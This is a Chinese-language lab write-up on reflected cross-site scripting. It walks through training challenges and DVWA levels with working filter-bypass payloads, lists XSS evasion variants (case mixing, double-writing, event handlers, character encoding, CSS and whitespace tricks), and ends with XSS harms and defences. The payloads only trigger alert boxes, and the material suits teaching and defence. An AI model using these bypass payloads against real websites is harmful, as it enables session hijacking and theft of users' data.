实验原理
XSS是最常见的计算机安全漏洞,又叫CSS(Cross Site Script) ,即跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意代码,当用户浏览该页之时,嵌入其中web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。
在XSS的攻击方式中,需要欺骗用户自己去点击链接才能触发的XSS称为反射型XSS,也称为非持久型XSS(Non-persistent XSS)。反射型XSS只是简单的把用户输入的数据“反射”给浏览器,特点为单击时触发,执行一次。
实验目的
理解反射型XSS的原理
学习反射型XSS的实现过程
实验内容
跨站脚本攻击之反射型XSS
打开测试站点,发现是一个提交并输出数据的表单,如下图所示。
尝试输入<script>alert(1)</script>
,发现成功弹窗,证明网站存在XSS漏洞。
XSS挑战初中高级
初级
example 1
点击进入,由提示可知关键代码如下:
<?php
echo $_GET["name"];
?>
易知源代码未作任何过滤,构建payload
/example1.php?name=<script>alert(1)</script>
即可成功弹窗。
example 2
由提示可知关键代码如下:
可以看到过滤了小写的<script>
和</script>
,因此可以采用大小写混淆的方式绕过,构建payload
/example2.php?name=<sCRipt>alert(1)</scriPt>
即可成功弹窗。
example 3
由提示可知关键代码如下:
过滤了不区分大小写的<script>
和</script>
,因此可以采用双写<script>
的方式绕过,构建payload
/example3.php?name=<sc<script>ript>alert(1)</scri</script>pt>
即可成功弹窗。
中级
example 4
由提示可知关键代码如下:
可以看到对script
做了大小写过滤/i
,大小写混淆不再有效,但没有做更多限制。因此可以选择放弃使用<script>标签,转而利用事件实现XSS。
构建payload
/example4.php?name=<img src="" onerror=alert(1)>
即可成功弹窗。
example 5
由提示可知关键代码如下:
过滤了大小写的alert
,但可以利用字符串编码绕过。构建payload
/example5.php?name=<script>eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))</script>
即可成功弹窗。
example 6
由提示可知关键代码如下:
可以采用闭合标签绕过。构建payload
/example6.php?name=</script><script>alert(1)</script>
即可成功弹窗。
高级
example 7
由提示可知关键代码如下:
可知代码通过htmlentities()
函数把字符转换为 HTML 实体。
htmlentities() 并不能转换所有的特殊字符,是转换除了空格之外的特殊字符,且单引号和双引号需要单独控制(通过第二个参数)。第2个参数取值有3种,分别如下:
ENT_COMPAT(默认值):只转换双引号。
ENT_QUOTES:两种引号都转换。
ENT_NOQUOTES:两种引号都不转换。
由图可知该函数在应用时没有设置过滤单引号,因此构建payload
/example7.php?name=';alert('1');'
即可成功弹窗。
example 8
由提示可知关键代码如下:
可知post地址使用了当前url,即<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
,因此构建payload
/example8.php/><script>alert(1)</script><"
即可成功弹窗。
此时标签闭合如下图
example 9
由提示可知关键代码如下:
xss直接在页面输出锚点id,因此构建payload
/example8.php#<script>alert(1)</script>
并刷新网页,即可成功弹窗。
DVWA之反射型XSS
Low
在low级别中,关键代码如下所示:
可以看出未做任何防护,直接构建payload
<script>alert(1)</script>
即可成功弹窗。
Medium
在Medium级别中,关键代码如下所示:
可以看到只替换了小写的<script>
字符串,常用方法有更改大小写或双写以拼接script
等。构建payload
<Script>alert(1)</sCript>
或
<sc<script>ript>alert(1)</script>
即可成功弹窗。
结果及分析
通过url的输入,将恶意脚本附加到url地址的参数中。能够弹出一个警告框,说明跨站脚本攻击漏洞存在。
实验结论
我抄我自己
XSS攻击的是浏览器,不同的浏览器效果不一样,同一款浏览器不同版本之间效果不同。反射型XSS通常出现在网站的搜索栏、用户登入口等地方,具有单击时触发、执行一次的特点。
对于反射型XSS,需要服务端和前端共同预防,针对用户输入的数据做解析和转义,或是限定脚本的来源域,以尽可能地避免XSS攻击。
XSS注入流程
- 通过常用语句漏洞的验证,如
<script>alert(1)</script>
; - 查看源代码判断XSS的闭合,有没有过滤
<>
; - 查看源代码利用XSS的结构,若结构中会受到过滤等则进行XSS的变形。
常见的XSS攻击方法
- 利用<>构造HTML 或者JS标签;
- 利用HTML 标签的属性值进行XSS;
- 产生自己的事件;
- 利用CSS跨站等
常见XSS变形
根据过滤代码的写法采取不同的变形以绕过过滤,常见的有以下几种。
1. 扰乱过滤规则
大小写转换
<script>alert(1)</script>
<Script>alert(1)</sCript>
引号的引用
@ 无引号
<Img sRc=# Onerror=alert(/xss/) />
@ 单引号
<Img sRc='#' Onerror='alert(/xss/)' />
@ 双引号
<Img sRc="#" Onerror="alert(/xss/)" />
表格引用自 XSS绕过 - N1nG - CSDN
类型 | 写法 |
---|---|
一个正常的XSS输入 | <img src="javascript:alert(0);"> |
转换大小写后的XSS | <IMG SRC="javascript:alert(0);"> |
大小写混淆的XSS | <iMg sRc="jaVasCript:alert(0);"> |
不用双引号,而是使用单引号的XSS | <img src='javascript:alert(0);'> |
不使用引号的XSS | <img src=javascript:alert(0);> |
2. 利用 / 代替空格
<Img/sRc='#'/Onerror='alert(/xss/)' />
3. CSS中变形
@ 使用全角字符
<style>body{background-image:expression(alert(/xss/));}</style>
@ 注释会被浏览器忽略
<style>
body{background-image:expre/***/ssion(alert(/xss/))}
</style>
@ 样式表中的\ 和\0 同样会被浏览器忽略
<style>@import 'javasc\ri\0pt:alert("xss")';</style>
4. 利用空格、Tab或回车
@ 利用Tab
<A hREf="j avascript:alert(/xss/)">click me!</a>
@ 利用回车
<img src="javas
cript:
alert(/xss/)" width=100>
5. 对标签属性值进行转码
@ 将字符转为十进制或十六进制,例如
a 97 a a
e 101 e e
<A hREf="j avascript:alert(/xss/)">click me!</a>
6. 拆分跨站
@ 拼接
<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>eval(z)</script>
@ 注释
<script>alert(doucument./*
*/cookie</script>
XSS的危害
- 网络钓鱼,包括窃取用户账号;
- 窃取用户cookies资料,从而获得用户隐私信息,或利用用户身份进一步对网站执行操作;
- 劫持用户会话,进行非法转账、强制发表日志、发送电子邮件等;
- 强制弹出广告、刷流量等;
- 恶意操作,删除文章等;
- 网页挂马;
- 传播跨站脚本蠕虫等
常见应对XSS方法
-
输入输出检查并对敏感字符编码,如
<
转成<
- 在XSS的防御上,输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如
<script>
、JavaScript
、<
、>
、”
。常使用preg_replace()
函数,如preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
- 在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。如php可以使用
htmlentities()
函数及htmlspecialchars()
函数;JavascriptEncode使用escapeJavascript()
函数来转义、<>\&#
等,同时要求输出变量必须在引号内部。在Java中也存在第三方组件支持过滤XSS漏洞,如JSOUP、OWASP Esapi、xssprotext等。
- 在XSS的防御上,输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如
-
黑名单,白名单
- 对于富文本的过滤,需要考虑输入过滤,严格禁止“事件”。同时禁止一些威胁的标签:
<iframe>
、<base>
、<script>
、<form>
等。 - 在标签的选择上,应该使用白名单,如只允许
<a>
、<img>
、<div>
等比较安全的标签
- 对于富文本的过滤,需要考虑输入过滤,严格禁止“事件”。同时禁止一些威胁的标签: